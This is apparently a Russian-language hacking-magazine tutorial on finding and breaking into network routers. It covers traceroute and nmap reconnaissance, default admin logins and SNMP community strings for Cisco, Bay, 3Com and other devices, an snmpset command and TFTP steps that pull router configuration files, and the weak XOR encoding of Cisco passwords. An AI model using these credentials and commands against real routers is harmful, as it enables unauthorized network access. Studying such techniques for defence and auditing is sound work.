Порывшись в архивах статей на сайтах, связанных с сетевой безопасностью, я
не нашел практически никакой информации посвященной роутерам (маршрутизаторам), а ведь это
является очень важной и неотъемлемой частью любой сети. По сему я решил написать данную статью,
в которой я рассмотрю примеры определения удаленного роутера, определения типа ОС на которой он
установлен, наиболее часто встречающиеся пользователи по умолчанию и другие не маловажные
уязвимости. 

Определения роутера

Вам понадобиться порт сканнер (желательно nmap) и простой traceroute.
Для примера будем использовать www.example.net. Начнем с определения IP адреса роутера, который является окном в интернет для www.example.net.
Делается это так:

Для Unix:

bash# traceroute www.example.net 
1 some.dns.001.com (*.*.*.1) 2.260 ms 1.911 ms 1.363 ms 
2 some.dns.002.com (*.*.*.2) 3.952 ms 3.966 ms 4.297 ms 
3 some.dns.003.com (*.*.*.3) 4.370 ms 9.422 ms 5.381 ms 
4 some.dns.004.com (*.*.*.4) 12.176 ms 13.102 ms 13.050 ms 
5 www.example.net (*.*.*.5) 43.755 ms 42.683 ms 42.612 ms

Для Windows NT:

В командной строке набираем ( для тех кто не знает : Start>Programs>Command Promt или Пуск>Программы>Режим
MSDOS):

tracert www.example.net 

Получаем что-то типа этого:

1 160ms 190 ms 150ms some.dns.001.com *.*.*.1 
2 310ms 421ms 275ms some.dns.002.com *.*.*.2 
3 234ms 434ms 43ms some.dns.003.com [*.*.*.3] 
4 910ms 324ms 432ms some.dns.004.com [*.*.*.4] 
5 764ms 321ms 354ms www.example.net [*.*.*.5] 

Хотя на мой взгляд для Windows лучше воспользоваться какой-нибудь
альтернативной программой у которой есть эта функция, например ShadowScan , WS Ping Pro и
т.д. 

Как видно, конечной точкой переадресации пакетов является *.*.*.4 — это как раз и есть наш роутер, который будет рассматриваться в дальнейшем. 

Следующим шагом будет сканирования портов на данном адресе, для попытки определить на какие порты можно заглянуть для получения более подробной информации о том, с чем мы имеем дело. 

Для Unix:

bash# nmap -p1-170, 510-520, 2001, 4001, 6001, 7161, 9001 *.*.*.4

Для Windows возьми порт сканер из тех что я привел выше или любой другой и отсканируй порты, если хочешь можешь хоть все.
Дальше я буду писать только для Unix как это делается для Windows я думаю уже понятно.

Вот таблица портов для некоторых роутеров:

Cisco routers

21(ftp) 0(tcpmux) 
23(telnet) 49(domain) 
79(finger) 67(bootpc) 
80(http) 69(tftp) 
512(exec) 123(ntp) 
513(login) 161(snmp) 
514(shell) 
1993(Cisco snmp) 
1999(Cisko ident) 
2001 
4001 
6001 
9001(xRemote service) 

Bay routers

21(ftp) 7(echo) 
23(telnet) 9(discard) 
67(bootpc) 
68(bootpc) 
69(tftp) 
161(snmp) 
520(route) 

Ascend routers

23(telnet) 7(echo) 
9(discard) 
161(snmp) 
162(snmp-trap) 
514(shell) 
520(route) 

Кстати, на многих Cisco, при подключении на порт 23 и 2001, вы увидите приглашение типа: 

User Access Verification 
Password:

Допустим, мы определили тип роутера, но это еще только пол пути. Давайте рассмотрим кое-какие методы поиска информации об операционной системе. 

Cisco

1) на 13-ом порту, можно попробовать запустить nmap со следующими параметрами:

bash# nmap -O -p13 -n *.*.*.4

Если порт открыт появиться что-нибудь типа:

Remote operating system guess: Cisco Router

2) 2001, 4001, 6001 — являются виртуально терминальными портами,
не всегда это может быть cisco. Проверить можно вписав в браузер: 

157.130.10.46:2001

если ответом будет нечто подобное:

User Access Verification Password: Password: Password: % Bad Password

то мы на правильном пути.

3) 9001 порт отвечает за xRemote service, запускающий xSessions. Подсоединившись на 9001 порт мы получим приглашение: 

— Out Bound Xremote srvice — 
Роутер Ascend

Любой желающий может прочитать содержимое MIB используя community string
read.

Роутер Bay

По умолчанию данные роутеры позволяют читать и изменять SNMP переменные. Для использования данной уязвимости можно войти в систему, используя имя пользователя по умолчанию и далее в приглашении ввести следующее: 

show snmp comm types

данная команда выведет все имена для записи и чтения :). 

Вот листинг read/write community names для SNMP используемых по умолчанию:

-public 
-write 
-cisco 
-all private 
-private 
-read 
-tivoli 
-openview 
-monitor 
-manager 
-security 
-default 
-password 
-network 
-community 
-secret 
-world 
-admin 

Ну что же, пришло время рассмотреть примеры проникновения на удаленный маршрутизатор.
Ни для кого не секрет, что многие производители hardware по умолчанию устанавливают
аккаунты, используемые для администрирования и так называемого гостевого входа на роутер. В нашем же случае это можно назвать back door’ом. Зная тип маршрутизатора, можно попробовать ниже приведенные аккаунты для авторизации на роутер: 

Ниже я привел список дефолтовых паролей к некоторым устройствам:

Устройство Логин Пароль Права

Cisco enable cisco администратор 
23(telnet) c [только для cisco 2600s] 
23(telnet) cisco пользователь 
23(telnet) cisco routers пользователь 

Bay router User [нет пароля] пользователь 
Manager [нет пароля] администратор 
Bay 350T switch NetICs NA администратор 
Bay SuperStack II security security администратор 
Shiva root [нет пароля] администратор 
Guest [нет пароля] пользователь 
WebRamp wradmin trancell администратор 
MotorolaCable cablecom router администратор
3Com
admin synnet администратор 
manager manager администратор 
write synnet администратор 
debug synnet администратор 
tech tech пользователь 
monitor monitor пользователь 
read synnet пользователь

(полный список дефолтовых логинов вы без
труда можете найти в сети, например на Astalavist’е).

Хотите верьте, хотите нет, но данные аккаунты активированы на многих маршрутизаторах. Причиной как всегда является халатность администраторов, которые забывают, либо им лень поменять/удалить данные акаунты. Их, к сожалению, устраивает вариант «пока не поломают — не пофиксю». Определенно данный вариант устраивает не только его ;). 

Предлагаю плавно перейти на Сisco роутеры, которые на сегодняшний день являются самыми распространенными и зарекомендовавшими себя в деле. 

На cisco роутерах есть поддержка старой MIB, что позволяет любому с read/write community name скачать файлы конфигурации (которые хранят зашифрованые пароли) с помощью TFTP. Расшифровать пароли не составит особого труда, т.к. шифруется все XOR’ом. Для проверки роутера на уязвимость можно обратиться сюда
www.solarwinds.net (здесь есть вся необходимая информация). 

Вот пример стягивания конфиг файла на UNIX машине:

snmpset *.*.*.4 private 1.3.6.1.4.1.9.2.1.55.[ваш tftp хост] s [file.config]

Как я уже упомянул, слабый алгоритм XOR позволит без труда расшифровать пароль. Во избежании этого советую проверить каким алгоритмом зашифрован пароль, для этого можно посмотреть в конфигурации: 

show config

Вариантом с XOR будет нечто похожее на это:

enable password 7 08204E

Кстати говоря, не только на Cisco возможен вариант загрузки файла конфигурации, вы можете просканировать ваш роутер на 69 порт — на котором возможно весит TFTP. Если результат окажется
положительным, то можно попытаться выкачать файл конфигурации следующим образом: 

bash# tftp 
connect *.*.*.4 
get [dns-name].cfg 
quit

Примером файла конфигурации был [dns-name], т.к. очень часто имя файла конфигурации совпадает с доменным именем маршрутизатора. 

Помимо всего того, что я перечислил в данной статье, существует множество других способов взятия контроля над роутером такие как: dsniff, ARP переадресация, RIP spoofing — 

Может и о этом напишу, а на сегодня хватит Пока.

Оставить мнение

Check Also

Антиотладка. Теория и практика защиты приложений от дебага

К методам детектирования отладки прибегают многие программисты: одни хотели бы уберечь сво…